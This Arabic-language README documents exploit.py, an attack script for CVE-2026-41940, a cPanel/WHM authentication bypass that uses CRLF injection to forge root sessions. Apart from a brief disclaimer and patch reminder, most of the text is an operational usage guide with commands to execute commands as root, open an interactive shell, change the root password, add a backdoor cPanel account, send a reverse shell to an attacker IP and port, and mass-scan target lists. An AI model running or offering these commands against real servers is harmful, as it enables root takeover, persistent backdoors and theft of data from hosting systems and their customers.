CVE-2026-41940: تجاوز المصادقة في cPanel/WHM (هدف واحد ومتعدد الأهداف)
إخلاء مسؤولية: يتم توفير هذا المستند والسكريبت المرتبط به (exploit.py) لأغراض تعليمية وبحوث أمنية واختبارات الاختراق المصرح بها فقط. لا تستخدم هذا البرنامج ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
نظرة عامة
exploit.py هو سكريبت يوضح ثغرة تجاوز المصادقة (CVE-2026-41940) في cPanel وWHM. تسمح الثغرة لمهاجم غير مصادق بحقن جلسة جذر (root session) في ذاكرة التخزين المؤقت للخدمة عبر خلل حقن CRLF، مما يمنح في النهاية وصولاً على مستوى الجذر إلى WHM دون الحاجة إلى بيانات اعتماد صالحة.
تحليل الثغرة وتدفق الاستغلال
يعمل الاستغلال عبر استغلال ثغرة حقن CRLF (إرجاع السطر وتغذية السطر) داخل آلية معالجة المصادقة الأساسية (Basic Authentication)، إلى جانب خلل في انتشار الجلسة. يقوم السكريبت بأتمتة الهجوم على أربع مراحل:
- صك الجلسة قبل المصادقة: الاتصال بنقاط نهاية تسجيل دخول عامة (مثل
/login/ أو /cgi/login.cgi) للحصول على ملف تعريف ارتباط جلسة أساسي غير مصادق (whostmgrsession).
- حقن CRLF: إرسال ترويسة مصادقة أساسية مصممة خصيصًا تحتوي على حمولة مشفرة بـ Base64 تحقن حقول جلسة الجذر مباشرة في ذاكرة التخزين المؤقت للجلسات في
cpsrvd. استجابة إعادة التوجيه من الخادم تسرّب رمز الأمان المُنشأ (cpsess).
- انتشار الجلسة: يتم إرسال ملف تعريف ارتباط الجلسة الخام إلى نقطة نهاية WHM مصادقة، مما يؤدي إلى تشغيل
do_token_denied لنشر الجلسة المزورة في ذاكرة التخزين المؤقت للخدمة — مما يجعلها جلسة مصادقة صالحة.
- التحقق: الوصول إلى نقاط نهاية WHM API المقيدة (مثل
/json-api/version) باستخدام الجلسة المزورة لتأكيد الوصول على مستوى الجذر.
المتطلبات الأساسية
- Python 3.x
- مكتبة
requests
الاستخدام
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
الوسائط
اختيار الهدف
| الوسيط | الوصف |
|---|
--target URL | رابط WHM واحد (مثل https://target:2087) |
--target-file FILE | ملف يحتوي على الأهداف (سطر واحد لكل ip:port) — يفعّل وضع الفحص تلقائيًا |
خيارات الشبكة والأساسية
خيارات الاستغلال (بعد التجاوز)
خيارات الإخراج
| الوسيط | الوصف |
|---|
--output FILE | حفظ رمز الجلسة والتفاصيل في ملف JSON |
أمثلة
# تحقق مما إذا كان الهدف معرضًا للثغرة
python exploit.py --target https://target:2087 --check
# تفريغ معلومات الخادم (الإصدار، الحسابات، الصلاحيات)
python exploit.py --target https://target:2087 --dump
# توليد رابط تسجيل دخول جذر بنقرة واحدة (الصقه في المتصفح فورًا)
python exploit.py --target https://target:2087 --session
# تنفيذ أمر
python exploit.py --target https://target:2087 --exec "id"
# الدخول إلى قشرة WHM تفاعلية
python exploit.py --target https://target:2087 --shell
# تغيير كلمة مرور الجذر
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# استدعاء WHM API مباشرة
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# إنشاء حساب cPanel كباب خلفي
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# إرسال قشرة عكسية
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# تجاوز اسم المضيف (استخدمه عندما يفشل الاكتشاف التلقائي)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# فحص أهداف متعددة (وضع الفحص فقط)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# حفظ الجلسة في ملف
python exploit.py --target https://target:2087 --dump --output results.json
أوامر القشرة التفاعلية
عند استخدام --shell، تتوفر الأوامر التالية:
تذكير
طبّق أحدث تصحيحات الأمان الخاصة بـ cPanel/WHM فورًا.